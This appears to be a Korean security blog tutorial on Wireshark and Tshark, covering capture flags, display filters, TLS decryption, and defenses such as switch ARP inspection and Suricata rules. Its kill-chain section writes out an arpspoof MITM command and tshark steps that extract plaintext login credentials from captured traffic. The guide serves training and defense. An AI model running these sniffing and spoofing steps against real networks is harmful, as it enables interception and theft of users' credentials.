본문 바로가기
보안 기술/해킹 툴

Wireshark

💡 Wireshark (와이어샤크) 심층 분석 및 실무 가이드

📌 핵심 요약 (TL;DR)

  • 본질: 네트워크 인터페이스를 무차별 모드(Promiscuous)로 전환하여 커널을 통과하는 원시 패킷을 캡처하고, 프로토콜 해부기(Dissector)를 통해 통신 내역을 현미경처럼 분석하는 세계 표준 네트워크 분석기임.
  • 위협 및 목적: 해커는 ARP 스푸핑 등 MITM 환경을 구성하여 평문 자격 증명을 탈취하며, 방어자는 침해 사고 발생 시 악성코드의 C2 통신 페이로드를 리버스 엔지니어링하기 위한 포렌식 증거로 활용함.
  • 대응 방안: L2 스위치 포트 보안(Dynamic ARP Inspection)을 강제하여 무단 미러링을 차단하고, L7 트래픽 전체에 종단간 암호화(TLS 1.3) 기반의 제로 트러스트(Zero Trust)를 인포싱해야 함.


📑 목차 (Table of Contents)


⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 패킷 캡처(Sniffing) 및 페이로드 열람 시도는 「통신비밀보호법」 및 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.

📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.


자주 등장하는 용어 (초보자 참고)

약어 전체 명칭 한 줄 설명
Pcap Packet Capture 와이어샤크가 네트워크 트래픽을 캡처하고 덤프 데이터를 저장하는 글로벌 표준 파일 포맷
BPF Berkeley Packet Filter 커널 레벨에서 패킷을 초고속으로 필터링하는 엔진 (와이어샤크의 캡처 필터에 사용됨)
Promiscuous Promiscuous Mode 무차별 모드. 자신의 MAC과 일치하지 않는 패킷도 버리지 않고 모두 CPU로 올려보내는 상태
Dissector Protocol Dissector 원시 바이트 스트림을 사람이 읽을 수 있는 HTTP, TCP 등의 구조화된 트리 형태로 번역하는 해부기
MITM Man-In-The-Middle 해커가 클라이언트와 서버 사이의 통신 흐름에 난입하여 패킷을 가로채거나 변조하는 공격
Tshark Terminal Wireshark 와이어샤크의 GUI를 제거하고 CLI(터미널) 환경에서 동작하도록 설계된 초고속 패킷 분석기
DFIR Digital Forensics & Incident Response 디지털 포렌식 및 침해사고 대응을 의미하는 분야

1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 중급 ~ 고급
  • 주제 분류: 오펜시브 툴(스니핑) / 방어 툴(포렌식) / 네트워크 보안
  • 핵심 키워드: #Wireshark #Tshark #패킷분석 #스니핑 #네트워크포렌식
  • 사전 지식: TCP/IP 4계층 모델, BPF 필터 문법, TLS 핸드셰이크 메커니즘, L2 스위칭 원리

(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장.)

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 네트워크 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x 네이티브 모의 공격망 10.0.0.50/24 ARP 스푸핑 수행 후 Tshark를 통해 타겟의 평문 자격 증명 트래픽 스니핑 및 덤프
타겟 (Target) Ubuntu 24.04 / Nginx 1.24 온프레미스 DMZ 서버망 10.0.0.100/24 해커의 MITM 공격에 노출되어 평문 HTTP 페이로드를 전송하는 희생자 노드
방어 (Blue) Graylog 5.x / OPNsense 24.x 온프레미스 망분리 구성 10.0.0.200/24 코어 스위치 미러링(SPAN) 포트에서 트래픽을 상시 캡처하여 침해 사고 증거로 보존

아키텍처 통신 흐름도

[클라이언트 : 10.0.0.20]            [L2 코어 스위치 (SPAN 활성)]          [타겟 서버 : 10.0.0.100]
          |                                           |                                   |
          |-- (1) 로그인: HTTP POST (평문 폼 전송) ---->| (패킷 복제 및 릴레이)              |
          |                                           |-- (원래 목적지로 포워딩) --------->|
          |                                           |                                   |
          |     [Wireshark 관제/공격 노드 : 10.0.0.50] <--- (2) 미러링된 트래픽 복제 전달 -----|
          |                                           |                                   |
          |                                           |-- (3) Wireshark/Tshark 패킷 해부 -> ID/PW 탈취 및 Pcap 저장

2. 🧠 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘

  • 정의: 이더넷(Ethernet) 등 물리적/논리적 네트워크 인터페이스 카드(NIC)를 통과하는 패킷을 캡처하고, 내장된 프로토콜 규격에 맞춰 계층별(L2~L7)로 시각화하는 디지털 현미경임.
  • 탄생 배경: 1998년 Gerald Combs가 고가의 상용 네트워크 스니퍼를 대체하기 위해 Ethereal이라는 이름으로 오픈소스화하였으며, 현재 전 세계 네트워크/보안 엔지니어의 필수 불가결한 표준으로 자리 잡음.
  • 인프라 내 역할: (공격) 보호되지 않은 통신망에서 민감 데이터를 훔쳐내는 도청 장치로 작동함. (방어) IDS가 탐지한 알람의 실제 원시 페이로드를 눈으로 확인하고 침해 사고의 진원을 역추적하는 블랙박스 역할을 수행함.
  • 메커니즘: WinPcap/Npcap 또는 libpcap 라이브러리를 통해 OS 커널의 네트워크 스택을 후킹함. NIC를 무차별(Promiscuous) 모드로 전환하여 패킷을 캡처한 뒤, BPF 기반 캡처 필터로 1차 정제하고, Dissector 엔진이 바이트 단위로 페이로드를 해체함.
  • 버전 히스토리: 최신 버전에서는 Npcap 드라이버가 기본 채택되어 루프백 캡처 성능이 향상되었으며, TLS 1.3 및 QUIC 프로토콜 동적 복호화 엔진이 고도화됨.

2-2. MITRE ATT&CK & Kill Chain 매핑

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Credential Access Network Sniffing T1040
Exploitation Credential Access Adversary-in-the-Middle (MITM) T1557
Exploitation Discovery Network Traffic Discovery T1040
Actions on Objectives Collection Data from Local System T1005
Actions on Objectives Exfiltration Exfiltration Over Alternative Protocol T1048

3. ⚙️ 주요 특징 및 통신 규격

3-1. 기술적 핵심 특징

  • 특징 1 — 듀얼 필터링 아키텍처: 커널 단에서 패킷을 필터링하여 리소스를 아끼는 '캡처 필터(BPF)'와, 저장된 Pcap에서 원하는 문자열만 파싱하는 '디스플레이 필터'의 이원화된 엔진을 제공함.
  • 특징 2 — 종단간 스트림 어셈블리: 파편화되어 캡처된 수백 개의 TCP 시퀀스 패킷을 병합 조립하여, 탈취한 파일이나 웹페이지를 단일 텍스트/Hex 스트림으로 복원(Follow TCP Stream)함.
  • 특징 3 — 동적 암호화 복호화: 브라우저 세션 키(SSLKEYLOGFILE)나 서버 개인 키를 주입하여, 캡처된 TLS/SSL 암호화 페이로드를 실시간 평문으로 해독함.
  • 특징 4 — 에러 처리 및 로깅: 화면 렌더링 외에도 Tshark를 활용해 패킷 버퍼를 특정 용량(Ring Buffer)으로 롤링 백업하여 디스크 풀(Full) 장애를 방지함.
  • 특징 5 — 무한한 프로토콜 확장성: 3,000개 이상의 내장 Dissector를 보유하여 SCADA/Modbus, 블루투스, USB 패킷까지 완벽히 파싱함.
  • 특징 6 — 의존성 및 통합 포인트: 출력된 Pcap 및 텍스트 데이터는 Security Onion, Suricata 등 위협 헌팅(Threat Hunting) 프레임워크와 즉시 연동됨.
  • 특징 7 — 기본 보안 설정 (Default Security Posture): Tshark 구동 시 권한 분리가 설정되어 있지 않으면 커널 패킷 후킹이 원천 차단되므로 반드시 권한 승격(sudo)이 필요함.

3-2. 실무 관점 장단점 (Pros & Cons)

구분 시스템 관점 특성 보안 및 실무 관점의 트레이드오프
장점 1 절대적 가시성 확보 단순 로그가 아닌 통신의 페이로드 자체를 보여주므로 100% 확실한 증거 기반 포렌식이 가능함
장점 2 CLI 파이프라인 연계 (Tshark) 무거운 GUI를 배제하고 특정 헤더 데이터만 추출하여 bash 파이프라인 자동화에 완벽히 호환됨
장점 3 프리 오픈소스 크로스 플랫폼 라이선스 비용 없이 이기종 인프라 전역에 즉시 배포 및 구동이 가능함
단점 1 막대한 스토리지 소모 백본망에서 필터 없이 캡처 시 수 분 만에 디스크 장애 및 OOM(Out of Memory) 크래시가 발생함
단점 2 자체 방어 기능 부재 수동적 분석 도구이므로 패킷을 차단(Drop)하는 능동형 IPS 기능은 전무함
단점 3 PFS 복호화 한계 ECDHE 등 최신 완벽 전방 향성(PFS) 사용 시 사후 복호화가 원천적으로 불가능함

3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification)

Wireshark 자체는 특정 포트로 통신하지 않으나, 스니핑 시 포렌식 타겟이 되는 핵심 규격임.

포트 프로토콜 서비스명 IANA 공식 역할 보안 위협 및 공격 벡터
21 TCP FTP 파일 전송 제어 채널 평문 기반의 인증 정보 및 전송 파일(Pcap) 그대로 노출
53 UDP/TCP DNS 도메인 네임 시스템 악성 C2 서버 도메인 쿼리 및 DNS 터널링 데이터 유출 타겟
80/443 TCP HTTP/S 웹 데이터 통신 평문 폼 데이터 탈취 및 브라우저 세션 하이재킹 벡터
445 TCP SMB 파일 및 프린터 공유 내부망 횡적 이동(Lateral Movement) 시 랜섬웨어 페이로드 전파 로깅
N/A L2 ARP/ICMP 주소 결정 및 제어 메시지 무차별 ARP 스푸핑 스니핑 징후 및 ICMP 핑거프린팅 로깅 타겟

4. 🛠️ 인프라 셋업 및 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • 패키지: wireshark (GUI 컴포넌트) 및 tshark (CLI 컴포넌트) 패키지.
  • 환경 변수: 일반 유저 계정은 Promiscuous 모드 접근이 불가하므로 시스템 그룹(wireshark) 편입 또는 sudo 권한 인포싱 필수.

4-2. 시스템 구축 (Step-by-Step)

# [Step 1: 시스템 패키지 업데이트 및 Tshark 코어 설치 (Kali Linux 기준)]
apt update && apt install -y wireshark tshark

# [Step 2: 비-루트 사용자의 패킷 캡처 권한 허용 설정 강제화]
dpkg-reconfigure wireshark-common
usermod -aG wireshark $USER

# [Step 3: 권한 재적용 및 캡처 가능 인터페이스 리스트 덤프 검증]
tshark -D

(📝 동작 해설: tshark -D 명령어로 커널에 마운트된 eth0, wlan0 등 캡처 가능한 가상/물리 네트워크 인터페이스 리스트를 식별함.)


5. 📖 상세 명세 (명령어 / API / 프로토콜)

5-1. 기본 구문 및 명령어 구조 (Syntax)

실무 자동화의 핵심인 Tshark를 기준으로 파라미터 구조를 전수 명세함.

📌 Syntax 표기법: <필수항목> = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)

# CLI 툴킷(Tshark) 명령어 구조
<바이너리명> [옵션_플래그] [서브_파라미터] <타겟_또는_필터>

파라미터별 상세 설명

파라미터 필수 여부 타입 역할 및 설명 실전 값 예시
&lt;바이너리명&gt; 필수 실행 파일 libpcap 엔진을 호출하여 패킷 분석 프로세스를 생성함. tshark
[옵션_플래그] 선택 스위치 I/O 인터페이스 지정, 출력 포맷, 파일 덤프 옵션을 제어함. -i, -w, -Y, -T
[서브_파라미터] 선택 옵션 플래그에 전달되는 구체적인 인터페이스명이나 필드명. eth0, fields
&lt;타겟_또는_필터&gt; 선택 문자열 BPF 캡처 필터나 와이어샤크 전용 디스플레이 필터 식. "tcp port 80"

실전 명령어 예시 — 구성 요소 대조

전체 명령어 바이너리 옵션 플래그 서브 파라미터 타겟/필터
tshark -i eth0 -f "tcp port 80" tshark -i ... -f eth0 "tcp port 80"
tshark -r dump.pcap -Y "http" tshark -r ... -Y dump.pcap "http"

5-2. 실행 옵션 및 제어 플래그 전체 목록 (Execution Flags)

🔗 연결 및 캡처 제어 옵션

플래그 동작 원리 및 공식 매뉴얼 기반 설명 완전한 실전 사용 예시 실무/보안 활용 관점
-i 패킷 캡처를 수행할 특정 인터페이스 지정 tshark -i eth0 스니핑 대상이 되는 물리/논리적 망 분리 타겟팅
-f BPF 캡처 필터 적용 (커널 단 필터링) tshark -i eth0 -f "host 10.0.0.1" 불필요한 트래픽을 커널에서 버려 CPU 및 메모리 보호
-p Promiscuous 모드 비활성화 (기본값은 활성) tshark -i eth0 -p 자신의 MAC 주소로 향하는 정상 패킷만 로깅 시 사용

🔐 인증 및 복호화 제어 옵션

플래그 동작 원리 및 공식 매뉴얼 기반 설명 완전한 실전 사용 예시 실무/보안 활용 관점
-o tls.keylog_file 외부 브라우저 세션 키 파일을 주입하여 TLS 복호화 tshark -r a.pcap -o tls.keylog_file:key.log 탈취한 세션 키로 HTTPS 페이로드 평문 포렌식 분석
-o wlan.wep_key 무선 랜(802.11) 암호화 패킷 강제 복호화 tshark -i wlan0 -o wlan.wep_key:12345 무선 해킹 시도 시 암호화된 내부망 페이로드 추출

📄 출력 및 포맷 정제 옵션

플래그 동작 원리 및 공식 매뉴얼 기반 설명 완전한 실전 사용 예시 실무/보안 활용 관점
-w 캡처 결과를 화면 대신 PCAP/PCAPNG 파일로 덤프 tshark -i eth0 -w incident.pcap 침해 사고 증거 보존 및 오프라인 정밀 리버싱 대비
-r 저장된 PCAP 파일을 불러와 읽기 전용 분석 수행 tshark -r incident.pcap -Y "http" 디스크에 저장된 블랙박스 데이터 재구성 및 파싱
-T fields -e 특정 프로토콜 필드(예: IP, Host)만 텍스트로 추출 tshark -r a.pcap -T fields -e ip.src 방대한 패킷에서 침해 지표(IoC)만 정제하여 쉘 스크립트 연계
-V 패킷의 프로토콜 계층 트리를 끝까지 전개하여 출력 tshark -r a.pcap -V -c 1 특정 단일 악성 패킷의 헥스(Hex) 및 헤더 딥 다이브 분석

⏱ 타이밍 및 버퍼 롤링 옵션

플래그 동작 원리 및 공식 매뉴얼 기반 설명 완전한 실전 사용 예시 실무/보안 활용 관점
-c 패킷 수 제한. N개 캡처 후 프로세스 자동 종료 tshark -i eth0 -c 100 스니핑 툴킷 테스트 및 단기 프로브 수집용 튜닝
-a duration: 지정된 시간(초) 동안만 캡처 수행 후 종료 tshark -i eth0 -a duration:60 스케줄러(Cron)와 연동한 주기적 보안 관제 트래픽 스냅샷
-b filesize: 파일 사이즈 제한 기반 링 버퍼(Ring Buffer) 백업 tshark -i eth0 -w cap.pcap -b filesize:1000 스토리지 100% 장애를 방지하는 엔터프라이즈 영구 관제 셋업

자주 쓰는 옵션 조합

목적 조합 예시
특정 호스트의 HTTP만 캡처 및 저장 tshark -i eth0 -f "host 10.0.0.1" -Y "http" -w web.pcap
파일 자동 롤링 (10MB 단위) 무한 캡처 tshark -i eth0 -b filesize:10000 -w rolling.pcap
PCAP에서 특정 필드만 파이프라인 추출 tshark -r dump.pcap -T fields -e http.host &#124; sort -u
TLS 세션 복호화 후 텍스트 출력 tshark -r dump.pcap -o tls.keylog... -V

5-3. 비대화형 파이프라인 연계 명령어 (Non-Interactive Commands)

🔍 정찰 및 열거 (인터페이스 및 통계 파싱)

명령어 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
tshark -D OS 커널에 마운트된 전체 네트워크 인터페이스 리스트를 번호와 함께 텍스트로 열거함 tshark -D
tshark -r dump.pcap -q -z endpoints,ip Pcap 파일 내부의 모든 IP 엔드포인트 통계(송수신 패킷/바이트 수)를 요약 렌더링함 tshark -r dump.pcap -q -z endpoints,ip

💥 익스플로잇 및 페이로드 축출 (Payload Extraction)

명령어 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
tshark -r dump.pcap -Y "http.request.method==POST" -T fields -e text 캡처본에서 POST 전송 패킷만 필터링하여 폼 데이터(평문 ID/PW) 텍스트 밸류만 탈취함 tshark -r dump.pcap -Y "http...POST" -T fields -e text
tshark -r dump.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg FTP 통신의 평문 인증 페이로드(USER, PASS) 및 명령어 인자만 스크래핑함 tshark -r dump.pcap -Y "ftp" -T fields -e ftp.request.arg

🎯 포스트 익스플로잇 및 포렌식 유틸리티 (Post-Exploitation)

명령어 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
tshark -r dump.pcap -Y "tcp.flags.syn==1" -T fields -e ip.src &#124; sort &#124; uniq -c 포트 스캐닝(Nmap)을 시도한 공격자의 출발지 IP별 SYN 패킷 개수를 쉘 스크립트로 카운팅함 tshark -r dump.pcap -Y "tcp.flags.syn==1" -T fields...
tshark -r dump.pcap -q -z io,phs 전체 프로토콜 계층(Protocol Hierarchy) 트리를 분석하여 비정상 트래픽 비율을 검출함 tshark -r dump.pcap -q -z io,phs

5-4. 대화형 내부 런타임 명령어 (Interactive Controls - GUI 단축키)

(Wireshark GUI 환경에서 관제 및 분석 속도를 극대화하는 런타임 대화형 단축키 명세임.)

🗂 탐색 및 런타임 제어

내부 명령 (단축키) 기술적 동작 및 설명 실전 적용 시나리오
[Ctrl] + [F] Pcap 내부에서 특정 Hex 값, 텍스트 문자열, 필터 식을 즉각 검색하는 대화형 바 호출 숨겨진 악성코드 시그니처 헥스 덤프 추적 시
[Ctrl] + [Alt] + [Shift] + [T] 선택한 패킷이 속한 TCP 전체 세션을 병합하여 L7 페이로드를 단일 평문 텍스트 창으로 복원함 해커가 탈취한 리버스 쉘 텍스트 스트림 전체 열람 시
[Ctrl] + [Shift] + [O] 캡처 옵션을 열어 Ring Buffer(파일 롤링) 크기를 동적으로 조절함 디스크 풀(Full) 장애 예방 및 장기 관제 튜닝 시

6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)

실전 모의해킹 관제 및 침해사고 포렌식 시 직관적으로 위협을 핀포인트(Pin-point) 타격하는 디스플레이 필터(Display Filter) 치트시트임.

페이로드 (Display Filter) 파싱 메커니즘 및 런타임 결과 목적 / 우회 기법 (탐지)
http.request.method == "POST" HTTP 통신 중 폼 데이터(ID/PW 등)를 전송하는 POST 메서드 패킷만 필터링함 관리자 페이지 평문 자격증명 탈취 여부 신속 점검
tls.handshake.type == 1 TLS 통신을 시작할 때 클라이언트가 보내는 Client Hello 패킷만 추출함 SNI 헤더를 열람하여 암호화 통신의 진짜 악성 목적지 도메인 식별
tcp.analysis.retransmission 방화벽 차단이나 부하로 인해 TCP 재전송이 발생한 패킷만 필터링 렌더링함 L4 장비 과부하 및 묵살(Drop) 패킷에 의한 통신 장애 원인 진단
dns.qry.type == 255 DNS 질의 중 모든 레코드(ANY)를 요구하는 비정상 패킷을 필터링함 DNS 터널링 기반 데이터 유출 또는 서브도메인 존 트랜스퍼 징후 헌팅
ip.src == 10.0.0.50 && icmp 특정 악성 IP에서 발송된 ICMP 패킷 덩어리만 강제 추출함 해커가 핑(Ping)을 날리며 내부망을 횡적 정찰(Discovery)하는 행위 색출

7. 🎯 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE)

Wireshark 스니핑을 통해 즉각적으로 노출되고 장악당하는 치명적 설계 결함(CWE) 목록임.

식별 코드 취약점 명칭 및 익스플로잇 연계 원리 파급력 (Impact) 대응/패치 방안
CWE-319 Cleartext TransmissionHTTP, Telnet, FTP 통신을 와이어샤크 스트림으로 그대로 읽어냄 캡처 단 1초 만에 최고 권한 세션 탈취 및 인프라 장악 사내망을 불문하고 모든 웹/터미널 세션에 종단간 암호화(TLS) 강제 적용
CWE-287 Improper Authentication — 캡처된 평문 세션 쿠키(Cookie)를 해커 브라우저에 그대로 재사용 주입함 비밀번호 크랙 절차 없이 즉각적인 관리자 계정 권한 우회 우회 쿠키에 Secure 플래그를 설정하고 Session 토큰의 잦은 만료 강제
CWE-311 Missing Encryption of Sensitive Data — 백엔드 DB와 WAS 간 SQL 쿼리가 내부망이라는 이유로 평문 전송됨 인프라 내부망 침투 시 와이어샤크 덤프로 전 고객 개인정보 SQL 쿼리 탈취 DB 커넥터 통신 규격에 SSL/TLS 인크립션 파라미터를 필수 활성화함

7-2. 킬체인 전개 스텝 분석

  • 난이도: 초급
  • 전제: 사내망 스위치에 접근 권한을 얻은 악의적 내부자(Red Team)가 MITM 스니핑 환경을 구축함.
  • 탐지 가능성: Low (스니핑 행위 자체는 패킷을 쏘지 않는 수동적 청취이므로 탐지 불가)
Phase 1 — 트래픽 우회 및 무차별 모드 캡처 (Reconnaissance & MITM)
# 해커가 ARP 스푸핑을 구동하여 타겟(10.0.0.100)의 트래픽을 자신의 노드(eth0)로 우회시킴
arpspoof -i eth0 -t 10.0.0.100 10.0.0.1

# Tshark를 백그라운드 구동하여 우회된 HTTP 평문 페이로드를 Pcap으로 조용히 덤프
tshark -i eth0 -w credential_theft.pcap
Phase 2 — 오프라인 패킷 덤프 파싱 (Exploitation Setup)
# 덤프된 Pcap 파일에서 디스플레이 필터를 조작하여 POST 폼 데이터만 텍스트로 축출함
tshark -r credential_theft.pcap -Y 'http.request.method == "POST"' -T fields -e text
Phase 3 — 탈취 및 목표 달성 (Actions on Objectives)
# [결과 렌더링: 평문 자격 증명 페이로드 탈취 완료]
userid=admin&password=SuperSecretPassword123!&login=submit

8. ⚔️ 실전 심화 시나리오

📘 Scenario: 브라우저 임시 세션 키를 활용한 TLS 암호화 트래픽 복호화 포렌식

  • 학습 목표: 악성코드가 TLS 기반의 HTTPS 통신을 수행할 때, 엔드포인트에서 획득한 임시 세션 키(SSLKEYLOGFILE) 변수를 Wireshark에 주입하여 암호화된 트래픽 덤프를 평문으로 복호화함.
# [Step 1: 시스템 환경 변수 강제 설정 (엔드포인트)]
# 운영체제 쉘 환경에서 브라우저가 통신 암호화 키를 특정 파일에 로깅하도록 지시함.
export SSLKEYLOGFILE="/tmp/tls_keys.log"

# [Step 2: 타겟 브라우저 실행 및 악성 C2 통신 유도]
google-chrome-stable --no-sandbox &
# 브라우저가 HTTPS 통신을 할 때마다 대칭키(세션키)가 tls_keys.log 파일에 지속 누적됨.

# [Step 3: Wireshark CLI 복호화 엔진 세팅 및 평문 파싱]
# Tshark에 저장된 Pcap 파일과 탈취한 세션 키 파일을 매핑하여 HTTP 평문 헤더를 강제 렌더링함.
tshark -r encrypted.pcap -o tls.keylog_file:/tmp/tls_keys.log -Y "http" -V

9. 🩹 트러블슈팅 및 장애 대응 (RCA)

에러 로그 (Symptom) 발생 원인 (Root Cause) 해결책 (Resolution)
The capture session could not be initiated on interface 'eth0'. 일반 사용자 계정으로 실행하여 커널의 NET_RAW 캡처 소켓 접근이 시스템단에서 묵살됨 sudo tshark로 권한을 승격하거나 사용자 계정을 wireshark OS 그룹에 편입 후 재부팅
tshark: Dropped 15324 packets (buffer overflow) 10Gbps 대규모 백본망 트래픽을 BPF 필터 없이 수집하여 메모리 버퍼 한계치 도달 후 붕괴함 -B 100 (버퍼 사이즈 증설) 옵션과 BPF 캡처 필터(-f "tcp port 80")를 결합하여 튜닝 적용
Wireshark GUI 로딩 중 OOM(Out of Memory) 크래시 다운 수 기가바이트(GB)에 달하는 덤프 파일을 단일 메모리에 한 번에 올리려다 프로세스 데드락 발생 거대한 파일을 editcap 유틸리티를 사용하여 100MB 단위의 청크(Chunk)로 쪼갠 후 개별 로드

10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링

10-1. MITRE D3FEND 매핑

방어 전술 (Tactic) 방어 기법 (Technique) 차단 원리 및 메커니즘 ID (Code)
Isolate Network Traffic Filtering 스위치 포트 레벨에서 무단 SPAN 설정 및 비정상 트래픽 미러링 통제 D3-NTF
Detect Local ARP Inspection 스위치에서 동적 ARP 검사(DAI)를 강제하여 스니핑의 근간인 스푸핑 차단 D3-LAI
Harden Connection Authentication 평문 터널 접근(Telnet, HTTP)을 폐기하고 인증서 기반 세션 암호화 적용 D3-CA
Harden Message Encryption 인프라 내부망 DB 연동 시 전송 계층 암호화(TLS 1.3) 터널링 강제 인포싱 D3-ME

10-2. 인프라 하드닝 및 방어 기준

  • L2 물리적 보안 및 미러링 차단 아키텍처:
    1. 인가되지 않은 노드가 스위치에 연결해 스니핑하는 것을 원천 방어하기 위해 MAC 주소 기반 포트 보안(Port Security)을 인포싱해야 함.
    2. 네트워크 장비 관리 대역(Management)과 일반 서비스 트래픽 대역은 논리적(VLAN)으로 완벽히 망분리되어야 함.

10-3. IaC 기반 자동화 보안 설정 (Cisco 스위치 ARP 방어)

# [L2 스위치 방어 룰셋: 스니핑 유도의 핵심인 무차별 ARP 스푸핑 캡처 차단 (DAI)]

# 1. 특정 VLAN 대역에 대해 동적 ARP 검사(Inspection) 기능 전면 활성화
Switch(config)# ip arp inspection vlan 10,20

# 2. 방화벽/라우터로 연결되는 코어 업링크(Uplink) 포트를 신뢰할 수 있는(Trust) 포트로 지정
Switch(config)# interface GigabitEthernet0/1
Switch(config-if)# ip arp inspection trust

# 3. 일반 사용자 연결 포트는 위조된 ARP 패킷 유입 시 포트 자동 셧다운(Drop) 처리
Switch(config)# interface range GigabitEthernet0/2-24
Switch(config-if)# no ip arp inspection trust

10-4. 인시던트 대응 절차 (IR Playbook)

단계 대응 행동 담당 소요 시간
1. 탐지 Graylog 대시보드에서 ARP 충돌 경보 또는 특정 포트의 비정상 트래픽 폭주 알람 인지 SOC Analyst T+0
2. 분석 침해 구간 스위치 SPAN 포트에서 Tshark를 구동하여 통신 원시 증거(Pcap) 덤프 확보 Forensic Analyst T+10분
3. 헌팅 수집된 Pcap을 로드하여 악성 C2 도메인 쿼리 및 평문 페이로드 유출 유무 필터링 파싱 IR Team T+30분
4. 격리 유출 징후 확인 시 침해 노드의 스위치 포트를 물리적 셧다운 및 노출된 계정 즉각 정지 SysAdmin T+1시간
5. 쇄신 전사 레거시 프로토콜 정책 감사 및 종단간 TLS 암호화 아키텍처 전면 배포 DevSecOps T+24시간

10-5. 침해지표 (IoC) 및 탐지 룰셋 (Suricata NIDS)

# [Suricata 룰] 스니핑 환경을 강제 구성하기 위해 사출되는 대량의 ARP 스푸핑 응답 패킷 헌팅 룰
alert arp any any -> any any (msg:"ET HUNTING Excessive ARP Replies Detected (Possible ARP Spoofing/Sniffing)"; threshold: type both, track by_src, count 50, seconds 10; classtype: attempted-recon; sid:4000001; rev:1;)

# [Suricata 룰] 안전하지 않은 평문 인증 프로토콜(Telnet) 사용 시도 즉각 차단 경보
alert tcp $HOME_NET any -> any 23 (msg:"ET POLICY Cleartext Telnet Authentication Protocol Usage"; flow:established,to_server; content:"login|3a|"; nocase; classtype:policy-violation; sid:4000002; rev:1;)

11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)

  • 공식 벤더사 가이드 및 릴리즈 노트: https://www.wireshark.org/
  • NVD (National Vulnerability Database): https://nvd.nist.gov/
  • MITRE ATT&CK 기술 분석: https://attack.mitre.org/techniques/T1040/
  • OWASP 공식 가이드: https://owasp.org/
  • IANA 공식 프로토콜 명세서 (RFC): https://datatracker.ietf.org/doc/html/rfc793
  • CWE 공식 데이터베이스 (CWE-319 등): https://cwe.mitre.org/data/definitions/319.html
  • Exploit-DB: https://www.exploit-db.com/
  • KISA 보안 취약점 가이드: https://www.kisa.or.kr/

12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)

🎓 이 포스팅에서 배운 것

  • 공격 관점: 무차별(Promiscuous) 모드 기반의 패킷 캡처 작동 원리와, 평문 세션 하이재킹 스니핑 메커니즘을 파악함.
  • 방어 관점: 스위치 L2 포트 보안(DAI)을 통해 물리적 스니핑 인프라 구성을 원천 차단하고, Tshark를 통해 비대화형 침해 증거 수집(Pcap) 자동화 파이프라인을 익힘.
  • 다음 단계: 통제된 랩 환경에서 웹 페이지 로그인 패킷을 Wireshark로 캡처해 평문 폼 데이터를 직접 탈취하고 TCP Stream을 복원하는 모의 훈련 실습을 강력히 권장함.

🔰 엔지니어링 방어 철학

(✏️ Architected by Elpam.k)
최고의 자본을 들여 클라우드에 WAF와 IPS를 구축하더라도, 데이터베이스와 WAS 간의 통신이 내부망이라는 이유만으로 평문 전송(Cleartext)되도록 방치한다면 그 인프라의 보안 등급은 0점으로 전락함. Wireshark는 네트워크가 투명한 유리알처럼 모든 것을 내보이고 있음을 해커에게 가르쳐주는 잔혹한 거울임. 보안 엔지니어는 '네트워크 내부의 모든 노드와 패킷 통신망은 언제든 스니핑당할 수 있다'는 최악의 가정을 전제로, 인프라 내 단 1바이트의 페이로드라도 암호화 터널링(TLS 1.3) 없이 전송되는 것을 절대 허용하지 않는 제로 트러스트(Zero Trust) 통제 원칙을 영구적으로 강제 인포싱해야 함.

'보안 기술 > 해킹 툴' 카테고리의 다른 글

Netcat(nc)  (0) 2026.04.08
cURL  (0) 2026.04.08
Burp Suite  (0) 2026.04.08
Gobuster (고버스터)  (0) 2026.04.08
Nmap (Network Mapper)  (2) 2026.04.08

Discussion 1